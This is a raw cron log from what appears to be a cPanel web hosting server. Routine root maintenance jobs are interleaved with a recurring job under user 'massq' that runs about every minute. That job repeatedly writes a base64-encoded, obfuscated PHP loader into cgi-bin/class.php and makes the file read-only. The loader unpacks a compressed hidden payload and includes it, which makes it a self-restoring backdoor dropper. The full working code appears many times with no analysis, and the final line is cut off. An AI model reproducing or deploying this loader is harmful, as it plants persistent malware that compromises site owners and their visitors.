Sep  6 15:59:01 server CROND[27819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:59:01 server CROND[27820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:59:01 server CROND[27821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:00:01 server CROND[28219]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 16:00:01 server CROND[28221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:00:01 server CROND[28224]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:00:01 server CROND[28226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:00:01 server CROND[28229]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 16:00:01 server CROND[28225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:00:01 server CROND[28230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:00:01 server CROND[28227]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:00:01 server CROND[28228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:00:01 server CROND[28233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:01:01 server CROND[29105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:01:01 server CROND[29107]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 16:01:01 server CROND[29108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:01:01 server CROND[29106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:01:01 server run-parts(/etc/cron.hourly)[29107]: starting 0anacron
Sep  6 16:01:01 server run-parts(/etc/cron.hourly)[29128]: finished 0anacron
Sep  6 16:02:01 server CROND[29493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:02:01 server CROND[29494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:02:01 server CROND[29495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:03:01 server CROND[29868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:03:01 server CROND[29869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:03:01 server CROND[29870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:04:01 server CROND[30339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:04:01 server CROND[30340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:04:01 server CROND[30341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:05:01 server CROND[30729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:05:01 server CROND[30731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:05:01 server CROND[30733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:05:01 server CROND[30739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:05:01 server CROND[30742]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:05:01 server CROND[30743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:05:01 server CROND[30741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:05:01 server CROND[30740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:06:01 server CROND[31556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:06:01 server CROND[31557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:06:01 server CROND[31558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:07:01 server CROND[31939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:07:01 server CROND[31940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:07:01 server CROND[31941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:08:01 server CROND[32387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:08:01 server CROND[32388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:08:01 server CROND[32389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:09:01 server CROND[302]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 16:09:01 server CROND[303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:09:01 server CROND[305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:09:01 server CROND[304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:10:01 server CROND[832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:10:01 server CROND[835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:10:01 server CROND[836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; 